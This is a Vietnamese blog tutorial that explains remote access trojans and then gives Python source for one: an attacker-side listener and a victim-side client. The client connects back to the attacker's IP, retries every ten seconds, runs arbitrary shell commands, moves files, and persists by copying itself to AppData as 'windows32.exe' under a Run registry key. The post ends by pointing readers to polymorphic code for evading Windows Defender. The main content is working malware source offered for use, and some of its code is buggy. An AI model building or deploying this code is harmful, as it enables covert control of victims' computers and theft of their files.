Remote access trojan ? What and How ?

Remote access trojan ? What and How ?

I. Remote access trojan là gì và làm gì ?

question.png

Ta hãy cùng phân tích cái tên Remote Access Trojan, ở cái tên ta có thể chia nó ra làm 2 phần.

  • Phần 1 Remote Access có nghĩa là chúng ta có thể truy cập từ xa, hay rõ ràng hơn chính là ta có thể chiếm quyền kiểm soát máy tính của nạn nhân, điều này có nghĩa là hacker có thể làm bất kỳ thứ gì tuỳ thích trên máy của nạn nhân, chụp ảnh màn hình, keylogger, mở webcam, đánh cắp sensitive-file,...
  • Phần thứ 2 chính là Trojan như các bạn đã biết cụm từ này được dùng để ám chỉ những phần mềm độc hại, nguỵ trang trong lớp vỏ một phần mềm vô hại với máy tính, cụm từ này được lấy từ hình ảnh trận chiến thành Trojan

=> Nếu ghép lại ta sẽ có thể hiểu rằng RAT (Remote Access Trojan) chính là một phần mềm độc hại giúp cho hacker chiếm quyền kiểm soát máy nạn nhân từ xa và nó được nguỵ trang dưới dạng một phần mềm, 1 file thực thi trông có vẻ "vô hại".

II. Tạo Remote access trojan như thế nào ?

1. Ta cần chuẩn bị gì ?

  • Vì là trong phạm vi bài viết này mình sử dụng ngôn ngữ Python để triển khai Remote Access Trojan vì vậy nên đầu tiên ta sẽ cần cài môi trường Python trước nhé

Vào trang chủ Python, ấn tải về và NEXT UNTIL DIE ( và nhớ add Python vào Windows Path nữa nhé )

  • Sau khi tải và cài đặt xong môi trường Python thì ta tiếp đến cài các modules ta sẽ sử dụng trong khi lập trình RAT

pip install socket - Để cài module socket

  • Một IDE hoặc 1 text editor nào đấy bạn hay dùng như VSCode chẳng hạn.

That it, vậy là xong công đoạn chuẩn bị rồi, ta tiến hành sang bước 2, vào code thôi.

2. Code đạo

  • Trước hết để mình giải thích sơ qua cái flow của chương trình RAT này, thì chương trình sẽ gồm 2 file, đó là file attacker.pyvictim.py 2 file này đóng vai trò như tên gọi của chính nó, file victim.py sẽ bằng cách nào đấy thực hiện trên máy nạn nhân và file attacker.py sẽ thực hiện các câu lệnh remote, 2 file này trao đổi thông tin qua nhau bằng cách sử dụng socket.

2.1 Bắt đầu với file attacker.py

Đối với attacker ta chỉ cần thực hiện lắng nghe kết nối từ phía victim sau đó và nhận và gửi msg qua nhau thông qua socket

  • Hàm lắng nghe socket của attacker:
listener_ip = '192.168.20.161' # Đây là IP của attacker
listener_port = 6996          # Đây là port sẽ lắng nghe socket từ nạn nhân

def listener():
    global sock
    global ip
    global target
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
    sock.bind((listener_ip, listener_port))
    sock.listen()
    print("[+] Listening for target ...\n")
    target, ip = sock.accept()
    print("[+] Get connection from target. Starting shell command...\n")
  • Sau khi thiết lập kết nối xong thì đối với attacker ta chỉ cần gửi những câu lệnh dạng string sang cho nạn nhân, nạn nhân gặp những câu lệnh này thì sẽ tự động thực thi trên máy hàm dưới đây để thực hiện điều đó:
def download(file_name):
    file = os.path.join(os.path.dirname(file_name))
    file_recv = open(file, 'wb')
    data_recv = target.recv(2048)
    file_recv.write(data_recv)
    file_recv.close()

def upload(file_name):
    file_upload = open(file_name, 'rb')
    data_to_send = file_upload.read()
    sock.send(data_to_send.encode())

def shell_command():
    while True:
        command = input("[-] RemoteCommand~#: ")
        command = command.encode()
        target.send(command)
        if command == 'q':
            target.close()
            break
        elif command == "help":
            continue
        elif command[:2] == 'cd' and len(command) > 1:
            continue
        elif command[:5] == 'mkdir' and len(command) > 1:
            continue
        elif command[:8] == 'download' and len(command) > 1:
            try:
                download()
            except:
                continue
        elif command[:6] == 'upload' and len(command) > 1:
            try:
                upload()
            except:
                continue
        else:
            result = target.recv(2048)
            result = result.decode()
            print(result)

Đoạn code trên sẽ thực hiện các việc như gửi command download và upload file từ máy attacker tới máy nạn nhân. Đó chỉ đơn giản vậy thôi, attacker chỉ send command và nhận kết quả xong in ra :))

2.2 Về phần nạn nhân victim.py

Code của nạn nhân sẽ hơi cồng kềnh hơn chút vì còn phải xử lý nhiều hơn bên attacker do không chỉ là nhận câu lệnh nữa mà còn thực hiện câu lệnh xong rồi sau đó gửi kết quả nữa.

  • Đầu tiên thì cũng như trên, ta cần thiết lập kết nối từ nạn nhân tới máy của attacker
def connect_to_attacker(): #auto connect after 10sec
    global sock
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    while True:
        time.sleep(10)
        try:
            sock.connect((attacker_ip, attacker_port))
            get_command()
        except:
            connect_to_attacker()
  • Sau khi kết nối ta sẽ nhận các câu lệnh và thực hiện chúng, lưu ý là bạn cần import các thư viện cần thiết như bên dưới
import socket
import subprocess
import os
import sys
import time
import shutil
def download(file_name):
    file_to_download = open(file_name, 'rb')
    data_to_send = file_to_download.read()
    data_to_send = data_to_send.encode()
    sock.send(data_to_send)

def upload(file_name):
    file_upload = open(file_name, 'wb')
    data_recv = sock.recv(2048)
    data_recv = data_recv.decode()
    file_upload.write(data_recv)

def get_command():
    while True:
        command = sock.recv(2048)
        command = command.decode()
        if command == 'q':
            break
        elif command[:2] == 'cd' and len(command) > 1:
            try:
                os.chdir(command[3:])
                msg = "Changed directory to " + command[3:]
                sock.send(msg.encode())
                continue
            except:
                continue
        elif command[:5] == 'mkdir' and len(command) > 1:
            try:
                subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                msg = "Make folder successfully !!"
                sock.send(msg.encode())
                continue
            except:
                continue
        elif command[:5] == 'rmdir' and len(command) > 1:
            try:
                subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                msg = "Remove Directory Successfully !!"
                sock.send(msg.encode())
                continue
            except:
                continue
        elif command[:4] == 'echo' and len(command) > 1:
            subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            msg = "echo successfully !!"
            sock.send(msg.encode())

        elif command[:8] == 'download' and len(command) > 1:
            try:
                download(command[9:])
                msg = "Download Successfully"
                sock.send(msg.encode())
            except:
                msg_failed = "failed to download " + command[9:]
                sock.send(msg_failed.encode())

        elif command[:6] == 'upload' and len(command) > 1:
            try:
                upload()
                msg = "Upload Successfully !1"
                sock.send(msg.encode())
            except:
                msg_failed = "Failed to upload !!"
                sock.send(msg_failed.encode())
                continue
        elif command[:5] == 'start':
            try:
                subprocess.Popen(command[6:], shell=True)
                sock.send(b"Started !!")
            except:
                sock.send(b"Failed to start !")
        elif command[:6] == 'remove':
            try:
                os.remove(command[7:])
                sock.send(b"Removed !!")
            except:
                sock.send(b"Removed Failed!")

        elif command == 'help':
            help_msg = """
                Here is some commands for you:
                1. cd to change directory
                2. mkdir to make directory
                3. download to see file content (less than 2048 byte)
                4. upload to upload file from attacker to victim system (wait for next update)
                5. start to start a program on victim system
                6. remove to remove a program on victim system
                7. echo to using echo command
                8. rmdir to remove directory on victim system
                9. Press "q" to quit program
                10.All of command that can be use on window, or linux system like "ls" with linux system and "dir" with windows system
                        """
            sock.send(help_msg.encode())
        else:
            proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            result = proc.stdout.read() + proc.stderr.read()
            sock.send(result)
            continue
def add_to_registry():
    location = os.environ["AppData"] + "\\windows32.exe"
    if not os.path.exists(location):
        shutil.copyfile(sys.executable, location)
        subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v System32 /t REG_SZ /d "' + location + '"', shell = True)
  • Về cơ bản đoạn code trên sẽ thực hiện câu lệnh bằng hàm subprocess, gửi kết quả về cho attackerm cùng với đó là tự động khởi tạo tính năng chạy tự động cùng windows, tự động kết nối sau 10s,...

Đó, vậy là ta có một đoạn code cho nạn nhân rồi. Tuy nhiên như này vẫn chưa đúng với cái tên lắm, đây mới chỉ là remote access thôi chứ chưa phải trojan, vậy làm sao để nó thành trojan ??

Thực ra để làm được điều này nó khá là khó, vì theo như mình được học rằng là cơ chế bảo mật của windows không chỉ check header signature của file nữa, mà hơn thế nữa, khi ta tải bất kỳ 1 file thực thi gì về máy thì windows sẽ cho nó vào 1 vùng gọi là SandBox tại đây nó sẽ được windows theo dõi hành vi của nó gọi là Sofware Behavior, nên khá là khó để có thể bypass qua Windows Defender thời điểm hiện tại, nhưng các bạn cũng có thể tìm hiểu về các loại như Polymorphic code để có thể bypass được nhé.

Okay, bài viết này của mình đến đây là kết thúc, cảm ơn các bạn đã đọc ạ.